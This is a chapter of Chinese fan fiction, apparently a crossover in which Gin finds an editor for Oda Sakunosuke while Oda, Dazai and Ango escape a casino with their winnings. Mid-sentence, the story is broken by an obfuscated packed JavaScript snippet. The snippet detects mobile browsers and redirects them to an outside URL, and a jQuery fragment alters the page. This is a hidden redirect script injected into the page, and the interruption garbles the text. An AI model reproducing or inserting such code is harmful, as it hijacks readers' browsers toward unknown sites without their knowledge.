琴酒放下手机,指尖在冰凉的屏幕边缘轻敲了一下。包厢里,雪莉和宫野明美的对话声清晰地传入耳中。
琴酒的五感除去眼睛都敏锐得惊人,或者这么说很神奇,但是他的身体素质并非常人。
来源于他早逝母亲的奇异血脉,虽然他也失去了一些无关紧要的点东西,但是他认为还算不错。
因此哪怕他并非有意窥听,那些声音还是自然而然钻进耳朵。
他墨绿色的眼睛望向窗外,手指无意识地在手机边缘摩挲。
好像的确应该带点礼物。
这个念头出现得很突然,甚至有些不合逻辑,仿佛只是听到了别人有准备礼物,自己就下意识认为自己也应该准备。
这也许是一种念叨,琴酒欣然接受这种变化。
琴酒回想起织田作之助在酒吧说的话:“我想写小说。”
写小说。
琴酒对文学没什么兴趣,但是并不意味着他不懂文学,或者没看过通俗类而非技术类的书。
同时他也有着最基础的常识,书写完了,要出版,就需要编辑。
他认识编辑吗?
脑海中迅速闪过一个名字:轩尼诗。
法国分部的高级干部,当初在欧洲自己捡回来……当然他并不是未成年,甚至比琴酒还大几岁,否则他害怕自己名下的监护权又要多一个。
反正疯疯癫癫的一个家伙,总是想死,还在巴黎开了家小型出版社,专门出版些没人看的先锋文学。前阵子琴酒给中原中也提供的情报,就是通过轩尼诗的渠道拿到的。
最重要的是,那家伙最近正好在日本。
琴酒划开手机,找到加密通讯录里标注着“H”的联系人,打字:
「给我一个你出版社里靠谱编辑的联系方式。」
轩尼诗:「亲爱的Gin,你被盗号了?」
琴酒:「少废话。」
轩尼诗:「你要编辑干什么,你终于决定把你的勤恳天赋用来帮我赶稿吗?我可真是太感动了。」
琴酒:「……」
轩尼诗:「开玩笑的~不过你要编辑到底干嘛?我们社可是正经文学出版社,不出版武器使用手册。」
琴酒:「给一个想写小说的人。」
轩尼诗发来一串电话号码和邮箱,附带一句话:「我手下最好的编辑,专攻悬疑和现实主义文学。不过Gin,你居然会帮人介绍编辑?太阳从西边出来了?」
琴酒没回,直接退出聊天界面。
他靠在椅背上,手指在扶手上轻轻敲击。编辑有了,但……
织田作之助用什么写小说?
琴酒回忆起在酒吧时瞥见的细节:织田作之助的笔记本是那种最便宜的线圈本,笔是便利店一百日元三支的圆珠笔。至于电脑根本没看见。
他需要一台电脑。
琴酒看了眼时间。下午五点半。
明天他在学校有课,boss不知出于什么恶趣味,在他从剑桥拿到数学硕士学位回日本后,硬是给他安排了个“高专数学教师”的闲职。
美其名曰“需要有合法社会身份”,但琴酒怀疑BOSS只是觉得好玩。
那个学校还有个他名下的监护酒,偶尔还能顺便看看,虽然他也感觉那所学校也不需要开家长会或者签字。
学校很特殊,所有人都神神叨叨的,很热爱打架,并且经常课堂时间被户外实践所代替,琴酒对此乐见其成,他每周只需要去上两三节课,剩下的时间完全自由。
正好,学校附近有家大型电器店。
同一时间,横滨的街道上,正上演着一场荒诞的追逐战。
“织田作——跑慢点——我要吐了——”太宰治被织田作之助夹在腋下,像个人形公文包一样随着奔跑的节奏上下颠簸,手里的黑色皮箱哐当作响。
“太宰先生!抓紧箱子!里面是一千万日元!”
坂口安吾在另一侧狂奔,眼镜都快飞出去了,手里同样拎着一个箱子,“织田作先生!为什么我们要用这种方式离开赌场啊!”
“因为他们开枪了。”织田作之助平静地回答,脚步丝毫不停。他右手里还稳稳握着自己的枪,呼吸平稳得不像在逃命。
事情要从三小时前说起。
织田作之助带着太宰和安吾走进赌场VIP厅时,原本只是想赢够买礼物的钱,但是仔细想想钱自然是越多越好,于是就稍微放开了点。
但他低估了两件事:
第一,【天衣无缝】在赌桌上的威力太强了。五秒预知让他能精准判断每一局的结果,从二十一点到□□,他几乎没输过。
第二,太宰治的捣乱能力。当太宰发现织田作“稳赢不输”后,开始兴致勃勃地指挥下注:“织田作!这把全压!让他们见识见识什么叫赌博之神!”
于是三小时后,织田作之助面前的筹码堆成了小山。最小面额赢起,利滚利,加上太宰怂恿的几次“全压”,甚至他们已经回了好几趟加了,最终在第四次赢走一千万日元的时候被赌场谈话了。
赌场经理的脸色从微笑到僵硬,从僵硬到铁青。
当织田作之助平静地说“兑换现金,谢谢”时,经理咬着牙说:“先生,我们需要一点时间准备现金,请您到贵宾室稍等。”
【天衣无缝】在那一刻触发。
五秒的未来画面闪过脑海:他和太宰、安吾被“请”进贵宾室,门关上,四个持枪的打手出现——
织田作之助当机立断。
“跑。”
他一手抓起一个装钱的箱子,另一只手抓起太宰治,对安吾喊:“跟上!”
然后就像现在这样,三个人冲出赌场,背后是气急败坏的吼声和枪声。
砰!砰!
子弹打在脚边的地面上,激起火星。
织田作之助的异能再次触发,五秒后,一颗子弹会击中太宰治的小腿。
他毫不犹豫地夹着太宰治凌空一个后空翻,子弹擦着太宰的裤脚飞过。落地瞬间,他空着的手抓住安吾的衣领,把人往旁边一拽,另一颗子弹打空了。
“安吾对不起,”织田作之助在枪声中大声说,语气居然还能保持平静,“我要是扛着两个人我就没办法拿枪了。”
“现在是道歉的时候吗?!”坂口安吾尖叫,他一个文职人员,这辈子没跑这么快过,“织田作先生!往港口黑手党大楼跑!那是我们的地盘!”
“好主意。”织田作之助调整方向。
太宰治在他腋下被颠得七荤八素,却兴奋地大笑:“哈哈哈——好玩!织田作!再来个后空翻!”
“太宰先生!现在不是玩的时候!”安吾崩溃。
身后,赌场的打手追了上来,大约七八个人,手里都拿着枪。街道上的行人惊慌失措地躲进店铺,有人报警,但警察显然没那么快到来。
或者警察其实没什么用,毕竟这是横滨。
织田作之助边跑边回身开了两枪。
砰!砰!
精准的两枪,击中追在最前面两人的大腿。两人惨叫着倒地,其他人脚步一滞。
“抱歉,”织田作之助回头喊,“只是非致命伤!”
“你还有空道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250936|197934||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
歉!”安吾觉得自己要心脏病发了。
港口黑手党五栋大楼的轮廓出现在前方。织田作之助加快脚步,在离大楼还有五十米时,他把太宰治放了下来。
太宰治踉跄两步站稳,手里的箱子差点脱手。他理了理被风吹乱的头发和绷带,脸上露出一个灿烂到近乎恐怖的笑容。
然后,他转身面向追兵,举起一只手,像是召唤宝可梦一样。
“出来吧!黑蜥蜴——!”
话音落下,大楼阴影里瞬间涌出数十名穿黑西装的人,为首的是广津柳浪,黑蜥蜴部队如同潮水般扩散开来,眨眼间就拦在了赌场打手和织田作三人之间。
枪口齐齐抬起。
赌场的七八个打手硬生生刹住脚步,脸色惨白。
太宰治慢悠悠地走到队伍前方,把箱子交给广津柳浪:“帮忙拿一下,广津先生~”
然后他转向赌场的人,歪了歪头,笑容天真无邪:“诶呀,追着我们跑了三条街呢。各位是有什么急事吗?”
赌场领头的是个光头大汉,此刻额头上全是冷汗:“我们不知道是您……”
“现在知道啦。”太宰治笑眯眯,“所以,可以解释一下为什么朝港口黑手党的干部开枪吗?”
“我们……我们只是……”光头语无伦次,“这位先生在我们赌场赢了四千万,我们怀疑他出千……”
“出千?”太宰治挑眉,“证据呢?”
“他、他赢得太准了……”
“赢得准就是出千?”太宰治摊手,“那按照这个逻辑,我每次赌博都输,是不是可以说赌场出千让我输?”
“这……”
“而且,”太宰治的声音冷了下来,“就算他出千,动到港口黑手党身上……”
光头大汉腿一软,差点跪下。
坂口安吾这时候终于喘匀了气,推了推眼镜,走上前来,恢复了情报员的冷静模样:“赌场输钱不得追杀赌客——除非有确凿出千证据并当场抓获。你们显然没有。所以今天的事,是你们越界了。”
光头的脸彻底白了。
织田作之助这时才走过来,把另一个箱子也交给广津柳浪,然后对赌场的人认真地说:“我没有出千。我只是运气好。”
他的表情太诚恳了,诚恳到让人觉得怀疑他都是罪过。
光头看看太宰治,看看安吾,看看黑蜥蜴部队的几十把枪,最后看了看一脸无辜的织田作之助,深深鞠躬:“非常抱歉!是我们误会了!钱您拿走!今天的事就当没发生过!”
“这才对嘛。”太宰治拍拍手,“那各位请回吧。对了,帮我给你们老板带句话,下次再让我的人在横滨被枪追,我就去他赌场里玩炸弹。”
“是是是!”光头带着人连滚爬地跑了。
等他们消失在街角,太宰治才转身,眼睛亮晶晶地看着织田作之助:“织田作!我们有钱了!我们有四千万!可以买好多礼物!”
织田作之助点点头,沉默了几秒,说:“但是……”
“嗯?”
“我们这样,”织田作之助认真地问,“算是抢劫吗?”
坂口安吾扶额:“严格来说不算……但也不怎么合法……”
“有什么关系嘛!”太宰治一手搭一个朋友的肩,“反正钱到手了!走走走,去买礼物!”
广津柳浪咳嗽一声:“太宰干部,这些钱需要入库吗?”
“不用不用~”太宰治摆手,“这是织田作的私人财产。对了广津先生,今天的事别告诉森先生哦。”
广津柳浪无奈地点头:“……是。”